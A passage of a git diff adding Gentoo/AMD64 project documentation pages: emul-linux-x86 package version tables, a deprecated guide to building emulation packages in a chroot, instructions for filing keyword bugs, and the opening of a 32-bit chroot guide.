+<tr><th>media-libs/libv4l</th><th>0.6.1</th></tr>
+<tr><th>media-libs/speex</th><th>1.2_rc1</th></tr>
+<tr><th>media-libs/xvid</th><th>1.2.2-r1</th></tr>
+<tr><th>media-sound/lame</th><th>3.98.2-r1</th></tr>
+<tr><th>media-video/ffmpeg</th><th>0.5_p20373</th></tr>
+<tr><th>sys-libs/libieee1284</th><th>0.2.11</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>qtlibs</title>
+<section>
+<body>
+<table>
+<tr><th>x11-libs/qt-core</th><th>4.6.2-r1</th></tr>
+<tr><th>x11-libs/qt-dbus</th><th>4.6.2</th></tr>
+<tr><th>x11-libs/qt-gui</th><th>4.6.2</th></tr>
+<tr><th>x11-libs/qt-opengl</th><th>4.6.2</th></tr>
+<tr><th>x11-libs/qt-script</th><th>4.6.2</th></tr>
+<tr><th>x11-libs/qt-webkit</th><th>4.6.2</th></tr>
+<tr><th>x11-libs/qt-xmlpatterns</th><th>4.6.2</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>sdl</title>
+<section>
+<body>
+<table>
+<tr><th>media-libs/freealut</th><th>1.1.0-r1</th></tr>
+<tr><th>media-libs/libsdl</th><th>1.2.13-r1</th></tr>
+<tr><th>media-libs/openal</th><th>1.11.753</th></tr>
+<tr><th>media-libs/sdl-image</th><th>1.2.10</th></tr>
+<tr><th>media-libs/sdl-mixer</th><th>1.2.11</th></tr>
+<tr><th>media-libs/sdl-net</th><th>1.2.7</th></tr>
+<tr><th>media-libs/sdl-sound</th><th>1.0.3</th></tr>
+<tr><th>media-libs/sdl-ttf</th><th>2.0.9</th></tr>
+<tr><th>media-libs/smpeg</th><th>0.4.4-r9</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>soundlibs</title>
+<section>
+<body>
+<table>
+<tr><th>media-libs/alsa-lib</th><th>1.0.21a</th></tr>
+<tr><th>media-libs/alsa-oss</th><th>1.0.17</th></tr>
+<tr><th>media-libs/audiofile</th><th>0.2.6-r4</th></tr>
+<tr><th>media-libs/flac</th><th>1.2.1-r3</th></tr>
+<tr><th>media-libs/ladspa-sdk</th><th>1.13-r1</th></tr>
+<tr><th>media-libs/libmikmod</th><th>3.1.12</th></tr>
+<tr><th>media-libs/libmikmod</th><th>3.2.0_beta2-r1</th></tr>
+<tr><th>media-libs/libmodplug</th><th>0.8.7</th></tr>
+<tr><th>media-libs/libogg</th><th>1.1.4</th></tr>
+<tr><th>media-libs/libsndfile</th><th>1.0.21</th></tr>
+<tr><th>media-libs/libvorbis</th><th>1.2.3</th></tr>
+<tr><th>media-libs/portaudio</th><th>19_pre20071207</th></tr>
+<tr><th>media-plugins/alsa-plugins</th><th>1.0.21</th></tr>
+<tr><th>media-plugins/swh-plugins</th><th>0.4.15</th></tr>
+<tr><th>media-sound/gsm</th><th>1.0.13</th></tr>
+<tr><th>media-sound/jack-audio-connection-kit</th><th>0.109.2-r1</th></tr>
+<tr><th>media-sound/mpg123</th><th>1.9.2</th></tr>
+<tr><th>media-sound/pulseaudio</th><th>0.9.21.1</th></tr>
+<tr><th>net-wireless/bluez</th><th>4.39-r2</th></tr>
+<tr><th>sci-libs/fftw</th><th>3.2.2</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>xlibs</title>
+<section>
+<body>
+<table>
+<tr><th>media-libs/fontconfig</th><th>2.8.0</th></tr>
+<tr><th>media-libs/freetype</th><th>2.3.11</th></tr>
+<tr><th>media-libs/glew</th><th>1.5.1</th></tr>
+<tr><th>x11-libs/libICE</th><th>1.0.6</th></tr>
+<tr><th>x11-libs/libSM</th><th>1.1.1</th></tr>
+<tr><th>x11-libs/libX11</th><th>1.3.3</th></tr>
+<tr><th>x11-libs/libXau</th><th>1.0.5</th></tr>
+<tr><th>x11-libs/libXaw</th><th>1.0.7</th></tr>
+<tr><th>x11-libs/libXcomposite</th><th>0.4.1</th></tr>
+<tr><th>x11-libs/libXcursor</th><th>1.1.10</th></tr>
+<tr><th>x11-libs/libXdamage</th><th>1.1.2</th></tr>
+<tr><th>x11-libs/libXdmcp</th><th>1.0.3</th></tr>
+<tr><th>x11-libs/libXext</th><th>1.1.1</th></tr>
+<tr><th>x11-libs/libXfixes</th><th>4.0.4</th></tr>
+<tr><th>x11-libs/libXft</th><th>2.1.14</th></tr>
+<tr><th>x11-libs/libXi</th><th>1.3</th></tr>
+<tr><th>x11-libs/libXinerama</th><th>1.1</th></tr>
+<tr><th>x11-libs/libXmu</th><th>1.0.5</th></tr>
+<tr><th>x11-libs/libXp</th><th>1.0.0</th></tr>
+<tr><th>x11-libs/libXpm</th><th>3.5.8</th></tr>
+<tr><th>x11-libs/libXrandr</th><th>1.3.0</th></tr>
+<tr><th>x11-libs/libXrender</th><th>0.9.5</th></tr>
+<tr><th>x11-libs/libXt</th><th>1.0.8</th></tr>
+<tr><th>x11-libs/libXtst</th><th>1.1.0</th></tr>
+<tr><th>x11-libs/libXv</th><th>1.0.5</th></tr>
+<tr><th>x11-libs/libXvMC</th><th>1.0.5</th></tr>
+<tr><th>x11-libs/libXxf86dga</th><th>1.1.1</th></tr>
+<tr><th>x11-libs/libXxf86vm</th><th>1.1.0</th></tr>
+<tr><th>x11-libs/libxcb</th><th>1.5</th></tr>
+<tr><th>x11-libs/openmotif</th><th>2.3.2-r2</th></tr>
+<tr><th>x11-libs/openmotif-compat</th><th>2.2.3</th></tr>
+<tr><th>x11-proto/scrnsaverproto</th><th>1.2.0</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/base/amd64/emul/emul-linux-x86-20100611.xml b/xml/htdocs/proj/en/base/amd64/emul/emul-linux-x86-20100611.xml
new file mode 100644
index 00000000..de72d5e5
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/emul/emul-linux-x86-20100611.xml
@@ -0,0 +1,306 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/doc/en/gentoo-x86-install.xml">
+<title>The app-emulation/emul-linux-x86 [20100611] packages</title>
+
+<author title="Author">
+  <mail link="solar@gentoo.org"/>
+</author>
+<author title="Author">
+  <mail link="kingtaco@gentoo.org"/>
+</author>
+<author title="Author">
+  <mail link="pacho@gentoo.org"/>
+</author>
+
+<abstract>
+Content listing of the app-emulation/emul-linux-x86 packages
+</abstract>
+
+<license/>
+
+<version>20100611</version>
+<date>2010-06-11</date>
+<chapter>
+<title>baselibs</title>
+<section>
+<body>
+<table>
+<tr><th>app-admin/gamin</th><th>0.1.10</th></tr>
+<tr><th>app-arch/bzip2</th><th>1.0.5-r1</th></tr>
+<tr><th>app-crypt/mit-krb5</th><th>1.6.3-r6</th></tr>
+<tr><th>app-text/libpaper</th><th>1.1.23</th></tr>
+<tr><th>dev-db/sqlite</th><th>3.6.23.1</th></tr>
+<tr><th>dev-lang/perl</th><th>5.8.8-r8</th></tr>
+<tr><th>dev-libs/dbus-glib</th><th>0.86</th></tr>
+<tr><th>dev-libs/elfutils</th><th>0.146</th></tr>
+<tr><th>dev-libs/expat</th><th>2.0.1-r3</th></tr>
+<tr><th>dev-libs/glib</th><th>1.2.10-r5</th></tr>
+<tr><th>dev-libs/libgcrypt</th><th>1.4.5</th></tr>
+<tr><th>dev-libs/libgpg-error</th><th>1.7</th></tr>
+<tr><th>dev-libs/libnl</th><th>1.1-r1</th></tr>
+<tr><th>dev-libs/libpcre</th><th>7.9-r1</th></tr>
+<tr><th>dev-libs/libtasn1</th><th>2.4</th></tr>
+<tr><th>dev-libs/libusb</th><th>0.1.12-r5</th></tr>
+<tr><th>dev-libs/libxml2</th><th>2.7.7</th></tr>
+<tr><th>dev-libs/libxslt</th><th>1.1.26</th></tr>
+<tr><th>dev-libs/lzo</th><th>2.02-r1</th></tr>
+<tr><th>dev-libs/nspr</th><th>4.8.4</th></tr>
+<tr><th>dev-libs/nss</th><th>3.12.6-r1</th></tr>
+<tr><th>dev-libs/openssl</th><th>0.9.8o</th></tr>
+<tr><th>media-libs/giflib</th><th>4.1.6-r1</th></tr>
+<tr><th>media-libs/jpeg</th><th>6b-r9</th></tr>
+<tr><th>media-libs/jpeg</th><th>7-r1</th></tr>
+<tr><th>media-libs/jpeg</th><th>8a</th></tr>
+<tr><th>media-libs/lcms</th><th>1.19</th></tr>
+<tr><th>media-libs/libart_lgpl</th><th>2.3.21-r1</th></tr>
+<tr><th>media-libs/libmng</th><th>1.0.10</th></tr>
+<tr><th>media-libs/libpng</th><th>1.2.43-r3</th></tr>
+<tr><th>media-libs/libpng</th><th>1.4.2</th></tr>
+<tr><th>media-libs/tiff</th><th>3.9.2-r1</th></tr>
+<tr><th>net-dialup/capi4k-utils</th><th>20050718-r3</th></tr>
+<tr><th>net-dns/libidn</th><th>1.15</th></tr>
+<tr><th>net-libs/gnutls</th><th>2.8.6</th></tr>
+<tr><th>net-misc/curl</th><th>7.20.0-r2</th></tr>
+<tr><th>net-nds/openldap</th><th>2.4.19-r1</th></tr>
+<tr><th>net-print/cups</th><th>1.3.11-r1</th></tr>
+<tr><th>net-wireless/bluez</th><th>4.64</th></tr>
+<tr><th>sys-apps/acl</th><th>2.2.49</th></tr>
+<tr><th>sys-apps/attr</th><th>2.4.43</th></tr>
+<tr><th>sys-apps/dbus</th><th>1.2.24</th></tr>
+<tr><th>sys-apps/file</th><th>5.03</th></tr>
+<tr><th>sys-apps/tcp-wrappers</th><th>7.6-r8</th></tr>
+<tr><th>sys-apps/util-linux</th><th>2.16.2</th></tr>
+<tr><th>sys-auth/nss-mdns</th><th>0.10</th></tr>
+<tr><th>sys-auth/nss_ldap</th><th>264-r1</th></tr>
+<tr><th>sys-auth/pam_ldap</th><th>183</th></tr>
+<tr><th>sys-devel/binutils</th><th>2.20.1-r1</th></tr>
+<tr><th>sys-devel/libperl</th><th>5.8.8-r2</th></tr>
+<tr><th>sys-devel/libtool</th><th>2.2.6b</th></tr>
+<tr><th>sys-fs/e2fsprogs</th><th>1.41.9</th></tr>
+<tr><th>sys-libs/cracklib</th><th>2.8.15</th></tr>
+<tr><th>sys-libs/db</th><th>4.7.25_p4</th></tr>
+<tr><th>sys-libs/e2fsprogs-libs</th><th>1.41.9</th></tr>
+<tr><th>sys-libs/gdbm</th><th>1.8.3-r4</th></tr>
+<tr><th>sys-libs/gpm</th><th>1.20.5</th></tr>
+<tr><th>sys-libs/ncurses</th><th>5.7-r3</th></tr>
+<tr><th>sys-libs/pam</th><th>1.1.0</th></tr>
+<tr><th>sys-libs/pwdb</th><th>0.62</th></tr>
+<tr><th>sys-libs/readline</th><th>6.1</th></tr>
+<tr><th>sys-libs/slang</th><th>2.2.2</th></tr>
+<tr><th>sys-libs/zlib</th><th>1.2.3-r1</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>compat</title>
+<section>
+<body>
+<table>
+<tr><th>sys-libs/lib-compat</th><th>1.4.1</th></tr>
+<tr><th>sys-libs/libstdc++-v3</th><th>3.3.6</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>cpplibs</title>
+<section>
+<body>
+<table>
+<tr><th>dev-libs/boost</th><th>1.41.0-r3</th></tr>
+<tr><th>dev-libs/libsigc++</th><th>2.2.3</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>gtklibs</title>
+<section>
+<body>
+<table>
+<tr><th>dev-libs/atk</th><th>1.28.0</th></tr>
+<tr><th>dev-libs/libIDL</th><th>0.8.13</th></tr>
+<tr><th>gnome-base/gconf</th><th>2.28.1</th></tr>
+<tr><th>gnome-base/libglade</th><th>2.6.4</th></tr>
+<tr><th>gnome-base/orbit</th><th>2.14.18</th></tr>
+<tr><th>media-libs/imlib</th><th>1.9.15-r2</th></tr>
+<tr><th>x11-libs/cairo</th><th>1.8.8</th></tr>
+<tr><th>x11-libs/gtk+</th><th>1.2.10-r12</th></tr>
+<tr><th>x11-libs/pango</th><th>1.26.2</th></tr>
+<tr><th>x11-libs/pixman</th><th>0.17.2</th></tr>
+<tr><th>x11-themes/gtk-engines</th><th>2.18.5</th></tr>
+<tr><th>x11-themes/gtk-engines-murrine</th><th>0.90.3-r1</th></tr>
+<tr><th>x11-themes/gtk-engines-xfce</th><th>2.6.0</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>gtkmmlibs</title>
+<section>
+<body>
+<table>
+<tr><th>dev-cpp/cairomm</th><th>1.6.0</th></tr>
+<tr><th>dev-cpp/glibmm</th><th>2.22.1</th></tr>
+<tr><th>dev-cpp/gtkmm</th><th>2.18.2</th></tr>
+<tr><th>dev-cpp/pangomm</th><th>2.26.0</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>opengl</title>
+<section>
+<body>
+<table>
+<tr><th>media-libs/freeglut</th><th>2.4.0-r1</th></tr>
+<tr><th>media-libs/glew</th><th>1.5.1</th></tr>
+<tr><th>media-libs/mesa</th><th>7.7.1</th></tr>
+<tr><th>x11-libs/libdrm</th><th>2.4.18_pre20100211-r1</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>medialibs</title>
+<section>
+<body>
+<table>
+<tr><th>app-misc/lirc</th><th>0.8.5</th></tr>
+<tr><th>dev-libs/DirectFB</th><th>1.4.3</th></tr>
+<tr><th>dev-libs/fribidi</th><th>0.10.7</th></tr>
+<tr><th>media-gfx/sane-backends</th><th>1.0.19-r2</th></tr>
+<tr><th>media-libs/libdv</th><th>1.0.0-r2</th></tr>
+<tr><th>media-libs/libgphoto2</th><th>2.4.8</th></tr>
+<tr><th>media-libs/libmad</th><th>0.15.1b-r2</th></tr>
+<tr><th>media-libs/libtheora</th><th>1.1.1</th></tr>
+<tr><th>media-libs/libv4l</th><th>0.6.1</th></tr>
+<tr><th>media-libs/speex</th><th>1.2_rc1</th></tr>
+<tr><th>media-libs/xvid</th><th>1.2.2-r2</th></tr>
+<tr><th>media-sound/lame</th><th>3.98.2-r1</th></tr>
+<tr><th>media-video/ffmpeg</th><th>0.5_p20373</th></tr>
+<tr><th>sys-libs/libieee1284</th><th>0.2.11</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>qtlibs</title>
+<section>
+<body>
+<table>
+<tr><th>x11-libs/qt-core</th><th>4.6.2-r1</th></tr>
+<tr><th>x11-libs/qt-dbus</th><th>4.6.2</th></tr>
+<tr><th>x11-libs/qt-gui</th><th>4.6.2</th></tr>
+<tr><th>x11-libs/qt-opengl</th><th>4.6.2</th></tr>
+<tr><th>x11-libs/qt-script</th><th>4.6.2</th></tr>
+<tr><th>x11-libs/qt-webkit</th><th>4.6.2-r1</th></tr>
+<tr><th>x11-libs/qt-xmlpatterns</th><th>4.6.2</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>sdl</title>
+<section>
+<body>
+<table>
+<tr><th>media-libs/freealut</th><th>1.1.0-r1</th></tr>
+<tr><th>media-libs/libsdl</th><th>1.2.13-r1</th></tr>
+<tr><th>media-libs/openal</th><th>1.11.753</th></tr>
+<tr><th>media-libs/sdl-image</th><th>1.2.10-r1</th></tr>
+<tr><th>media-libs/sdl-mixer</th><th>1.2.11-r1</th></tr>
+<tr><th>media-libs/sdl-net</th><th>1.2.7</th></tr>
+<tr><th>media-libs/sdl-sound</th><th>1.0.3</th></tr>
+<tr><th>media-libs/sdl-ttf</th><th>2.0.9</th></tr>
+<tr><th>media-libs/smpeg</th><th>0.4.4-r9</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>soundlibs</title>
+<section>
+<body>
+<table>
+<tr><th>media-libs/alsa-lib</th><th>1.0.21a</th></tr>
+<tr><th>media-libs/alsa-oss</th><th>1.0.17</th></tr>
+<tr><th>media-libs/audiofile</th><th>0.2.6-r4</th></tr>
+<tr><th>media-libs/flac</th><th>1.2.1-r3</th></tr>
+<tr><th>media-libs/ladspa-sdk</th><th>1.13-r1</th></tr>
+<tr><th>media-libs/libao</th><th>0.8.8</th></tr>
+<tr><th>media-libs/libmikmod</th><th>3.1.12</th></tr>
+<tr><th>media-libs/libmikmod</th><th>3.2.0_beta2-r1</th></tr>
+<tr><th>media-libs/libmodplug</th><th>0.8.7</th></tr>
+<tr><th>media-libs/libogg</th><th>1.1.4</th></tr>
+<tr><th>media-libs/libsamplerate</th><th>0.1.7</th></tr>
+<tr><th>media-libs/libsndfile</th><th>1.0.21</th></tr>
+<tr><th>media-libs/libvorbis</th><th>1.2.3</th></tr>
+<tr><th>media-libs/portaudio</th><th>19_pre20071207</th></tr>
+<tr><th>media-plugins/alsa-plugins</th><th>1.0.21</th></tr>
+<tr><th>media-plugins/swh-plugins</th><th>0.4.15</th></tr>
+<tr><th>media-sound/gsm</th><th>1.0.13</th></tr>
+<tr><th>media-sound/jack-audio-connection-kit</th><th>0.118.0</th></tr>
+<tr><th>media-sound/mpg123</th><th>1.12.1</th></tr>
+<tr><th>media-sound/pulseaudio</th><th>0.9.21.1</th></tr>
+<tr><th>net-wireless/bluez</th><th>4.64</th></tr>
+<tr><th>sci-libs/fftw</th><th>3.2.2</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>xlibs</title>
+<section>
+<body>
+<table>
+<tr><th>media-libs/fontconfig</th><th>2.8.0</th></tr>
+<tr><th>media-libs/freetype</th><th>2.3.12</th></tr>
+<tr><th>x11-libs/libICE</th><th>1.0.6</th></tr>
+<tr><th>x11-libs/libSM</th><th>1.1.1</th></tr>
+<tr><th>x11-libs/libX11</th><th>1.3.3</th></tr>
+<tr><th>x11-libs/libXScrnSaver</th><th>1.2.0</th></tr>
+<tr><th>x11-libs/libXau</th><th>1.0.5</th></tr>
+<tr><th>x11-libs/libXaw</th><th>1.0.7</th></tr>
+<tr><th>x11-libs/libXcomposite</th><th>0.4.1</th></tr>
+<tr><th>x11-libs/libXcursor</th><th>1.1.10</th></tr>
+<tr><th>x11-libs/libXdamage</th><th>1.1.2</th></tr>
+<tr><th>x11-libs/libXdmcp</th><th>1.0.3</th></tr>
+<tr><th>x11-libs/libXext</th><th>1.1.1</th></tr>
+<tr><th>x11-libs/libXfixes</th><th>4.0.4</th></tr>
+<tr><th>x11-libs/libXft</th><th>2.1.14</th></tr>
+<tr><th>x11-libs/libXi</th><th>1.3</th></tr>
+<tr><th>x11-libs/libXinerama</th><th>1.1</th></tr>
+<tr><th>x11-libs/libXmu</th><th>1.0.5</th></tr>
+<tr><th>x11-libs/libXp</th><th>1.0.0</th></tr>
+<tr><th>x11-libs/libXpm</th><th>3.5.8</th></tr>
+<tr><th>x11-libs/libXrandr</th><th>1.3.0</th></tr>
+<tr><th>x11-libs/libXrender</th><th>0.9.5</th></tr>
+<tr><th>x11-libs/libXt</th><th>1.0.8</th></tr>
+<tr><th>x11-libs/libXtst</th><th>1.1.0</th></tr>
+<tr><th>x11-libs/libXv</th><th>1.0.5</th></tr>
+<tr><th>x11-libs/libXvMC</th><th>1.0.5</th></tr>
+<tr><th>x11-libs/libXxf86dga</th><th>1.1.1</th></tr>
+<tr><th>x11-libs/libXxf86vm</th><th>1.1.0</th></tr>
+<tr><th>x11-libs/libxcb</th><th>1.5</th></tr>
+<tr><th>x11-libs/openmotif</th><th>2.3.2-r2</th></tr>
+<tr><th>x11-libs/openmotif-compat</th><th>2.2.3</th></tr>
+<tr><th>x11-proto/scrnsaverproto</th><th>1.2.0</th></tr>
+</table>
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/base/amd64/emul/index.xml b/xml/htdocs/proj/en/base/amd64/emul/index.xml
new file mode 100644
index 00000000..6b553450
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/emul/index.xml
@@ -0,0 +1,138 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/doc/en/faq.xml,v 1.104 2006/02/13 
+15:36:26 neysx Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/doc/en/blubb.xml">
+<title>Emulation Packages</title>
+<author title="Author">
+  <mail link="blubb@gentoo.org">Simon Stelling</mail>
+</author>
+
+<abstract>
+This document describes how to maintain the emul-packages.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.4</version>
+<date>2009-02-24</date>
+
+<chapter>
+<title>Emulation Packages</title>
+<section id="policy">
+<title>Policy</title>
+<body>
+
+	<warn>This guide is deprecated!</warn>
+
+<ol>
+  <li>Don't just copy the version number of the 'main' package (e.g. gtk+ for 
+gtklibs). It will create problems with updates.</li>
+  <li>For complete new emul-packages, bump the major version number</li>
+  <li>For selective updates to the <e>real</e> packages (i.e. the ones in 
+<c>SRC_URI</c>), bump the minor version number</li>
+  <li>For changes that only affect the ebuild, bump the revision number</li>
+  <li>Don't ever apply manual changes to the <c>SRC_URI</c> packages. 
+Everything must be changed in the ebuilds directly.</li>
+</ol>
+
+</body>
+</section>
+<section id="howto-create">
+<title>How to create emul-packages</title>
+<body>
+
+<p>
+First, you have to set up a emul-chroot. Note that this is not the same as an 
+ordinary 32bit-chroot. Here's how to create one:
+</p>
+
+<ol>
+  <li>Get an <b>amd64 stage2</b> tarball and unpack it to the chroot 
+location</li>
+  <li>Do all the bind-mounts (<path>/dev</path>, <path>/proc</path>, 
+<path>/sys</path>, <path>/usr/portage</path>)</li>
+  <li>Chroot in</li>
+  <li>run <c>find /usr/lib64 /lib64 -exec touch {} \;</c></li>
+  <li>Remove the <c>CHOST=...</c> line from <path>/etc/make.conf</path> and set 
+<c>FEATURES="noman noinfo -unmerge-orphans"</c>, <c>USE="bindist"</c></li>
+  <li>Change the <path>/etc/make.profile</path> link to 
+<path>profiles/default/linux/amd64/dev/32bit-userland</path></li>
+  <li>Run <c>emerge --nodeps portage &amp;&amp; rm -rf /usr/lib64/portage &amp;&amp; source /etc/profile</c></li>
+  <li>Run <c>emerge -e world</c></li>
+</ol>
+
+<p>
+Once you have set up your emul-chroot, you can merge the packages you want in 
+the emul-package. Make sure you have <c>FEATURES="buildpkg"</c> set. The 
+binpkgs you just created serve as <c>SRC_URI</c> for the emul-package. Don't 
+modify them! Double-check that the dependencies between the existing 
+emul-packages are still fulfilled, repoman won't warn you about this and it can 
+cause major borkage!
+</p>
+
+<p>
+Now you can create an ebuild for the emul-package. Have a look at the existing ebuilds to get an idea what it should look like. Remove all the files that are not ABI-specific or would collide with the 
+64bit package.
+</p>
+
+</body>
+</section>
+<section>
+<title>How to update emul-packages</title>
+<body>
+
+<p>
+There are a few dangerous things that are easily forgotten when updating 
+emul-packages, most critical are the dependencies. To minimize the risk of 
+breakage, follow this procedure when upgrading an emul-package:
+</p>
+
+<ol>
+  <li>Chroot into your emul-chroot</li>
+  <li>Clean out <path>/usr/portage/packages</path></li>
+  <li><c>emerge -DuF $emul_package</c></li>
+  <li>Copy the just fetched distfiles into 
+<path>/usr/portage/packages/All</path></li>
+  <li>Emerge all of them using <c>emerge -K</c></li>
+  <li>Emerge the packages you want to update (don't forget 
+<c>FEATURES=buildpkg)</c></li>
+  <li>Bump the emul-package ebuild and use the just generated binpkgs as 
+<c>SRC_URI</c> for it</li>
+</ol>
+
+<warn>
+Make sure you update the <uri 
+link="http://amd64.gentoo.org/emul/content.xml">content listing</uri>.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Known glitches</title>
+<body>
+
+<p>
+Make sure you get the dependencies right. Check all installed .so files if there are any unsatisfied deps and either remove them (if not needed) or include the needed dep: <c>for a in $(equery f emul-linux-x86-??? | grep "\.so") ; do [[ -z $(ldd $a | grep "not found") ]] || echo $a ; done</c> helps
+</p>
+
+<p>
+Some ebuilds also have the bad habit of creating files in <c>pkg_postinst</c>. buildpkg/quickpkg doesn't cover these, so you'll have to copy that function to the emul-ebuild.
+</p>
+
+<p>
+If <c>sys-apps/shadow</c> complains that it can't find <c>libcrack</c>, try upgrading to <c>=sys-devel/libtool-1.5.23b</c> or <c>rm /usr/lib64/libcrack.la</c>.
+</p>
+
+<p>
+<c>sys-devel/gcc</c> and <c>sys-libs/glibc</c> are known to fail. Just ignore it, they are multilib-aware themselves anyway and you have all the libraries in both 32/64bit versions already.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/base/amd64/howtos/bugs.xml b/xml/htdocs/proj/en/base/amd64/howtos/bugs.xml
new file mode 100644
index 00000000..ea785b48
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/howtos/bugs.xml
@@ -0,0 +1,104 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/amd64/howtos/bugs.xml,v 1.5 2006/03/31 15:06:19 blubb Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-20</date>
+
+<section>
+
+<title>How To File Keyword-Bugs On Gentoo/AMD64</title>
+
+<body>
+<p>
+First we want to thank you for helping out with the Gentoo/AMD64 project. Your diligent efforts
+in testing applications is greatly appreciated. In the following we want to explain the steps to
+submitting a bug report if you want to let us know that a masked application works on your Gentoo/AMD64 installation.
+</p>
+</body>
+</section>
+
+<section><title>Register First!</title>
+<body>
+<p>
+If you haven't registered for an ID on <uri link="http://bugs.gentoo.org/createaccount.cgi">bugs.gentoo.org</uri>,
+please do that first.
+</p>
+</body>
+</section>
+
+<section><title>Steps For Submission</title>
+<body>
+<p>
+Perform the following steps to submit a bug:
+</p>
+<ul>
+	<li>Browse to <uri link="http://bugs.gentoo.org/createaccount.cgi">bugs.gentoo.org</uri>.</li>
+	<li>Click on <c>Report A Bug</c> near the top of the page.</li>
+	<li>Choose <c>Gentoo Linux</c> from the product list.</li>
+	<li>Log in using your bugs.gentoo.org account.</li>
+	<li>Search for your bug
+		<ul>
+			<li>Enter <c>ALL</c> and the name of the ebuild into the search textbox. Be carefull,
+			<c>ALL</c> is casesensitive.</li>
+		</ul>
+	</li>
+</ul>
+<pre caption="Example">ALL k3b</pre>
+<ul>
+	<li>Continue searching for your bug
+		<ul>
+			<li>Click the <c>Search</c> button.</li>
+			<li>Check if anyone has already submitted a bug report on the masked application that works for you.</li>
+			<li>You should see two thing.
+				<ul>
+					<li>The Plt column should say <c>amd64</c>.</li>
+					<li>The Summary column should say something like <e>working on amd64</e>.</li>
+				</ul>
+			</li>
+			<li>If you don't say anything applicable in the search subframe, move on to the next step.
+			Otherwise, we already know about the application and you don't need to (and shouldn't) submit a new bug report.</li>
+		</ul>
+	</li>
+	<li>Give us your information
+		<ul>
+			<li>Select <c>Ebuilds</c> for the <e>Component</e>.</li>
+			<li>Select <c>amd64</c> for the <e>Hardware Platform</e>.</li>
+			<li>In the <e>Summary</e> textbox, enter your summary in the form: ${category}/${application}-${version} works on amd64.</li>
+		</ul>
+	</li>
+</ul>
+<pre caption="Example">app-cdr/k3b-0.11.6 works on amd64</pre>
+<ul>
+	<li>Continue giving us info
+		<ul>
+			<li>In the <e>Description</e> textarea, enter a brief description in the from: Please add "~amd64" to the KEYWORDS for
+			${category}/${application}-${version}.</li>
+		</ul>
+	</li>
+</ul>
+<pre caption="Example">Please add "~amd64" to the KEYWORDS for app-cdr/k3b-0.11.6</pre>
+<ul>
+	<li>Continue giving us info
+		<ul>
+			<li>Paste the output from <c>emerge info</c> into the <e>Description</e> textarea. This step is very
+			helpful and gives us the environmental conditions (e.g USE flags) you used.</li>
+			<li>Select <c>Enhancement</c> from the <e>Severity</e> drop-down listbox. <e>Please don't select anything other here. The
+			devs can (and will) change the severity of your bug report in case of nessesity.</e></li>
+		</ul>
+	</li>
+	<li>Doublecheck your work to make sure you've entered the correct data.</li>
+	<li>Click <c>Submit Bug Report</c> when you're ready to file the report.</li>
+</ul>
+<p>
+Thank you very much !
+</p>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/amd64/howtos/chroot-old.xml b/xml/htdocs/proj/en/base/amd64/howtos/chroot-old.xml
new file mode 100644
index 00000000..cc666faa
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/howtos/chroot-old.xml
@@ -0,0 +1,227 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/amd64/howtos/chroot-old.xml,v 1.2 2008/12/26 22:01:24 jkt Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+
+<version>1.3</version>
+<date>2008-12-26</date>
+
+<section>
+<title>Introduction</title>
+<subsection>
+<title>Introduction to 64bit system</title>
+<body>
+<p>
+The Gentoo Linux 32bits chroot guide will help you setting up a true 32bit chroot for your Gentoo/AMD64 system. 
+</p>
+<p>
+As you know 64bit systems don't run 32bits applications natively yet (at least not with portage) so you need to use emulation libraries to make them working or create a true 32bit system inside a chroot to install and run native 32bit applications. For the most common uses you do not need do build a 32bits chroot system. However, if you want to run applications that don't have a binary available to run with 32bits libraries, you should use a 32bit chroot. This guide will teach you how to set up a 32bit chroot and how to install and run applications inside the chroot.
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Installation</title>
+<subsection>
+<title>Installation of your 32bit chroot</title>
+<body>
+<p>
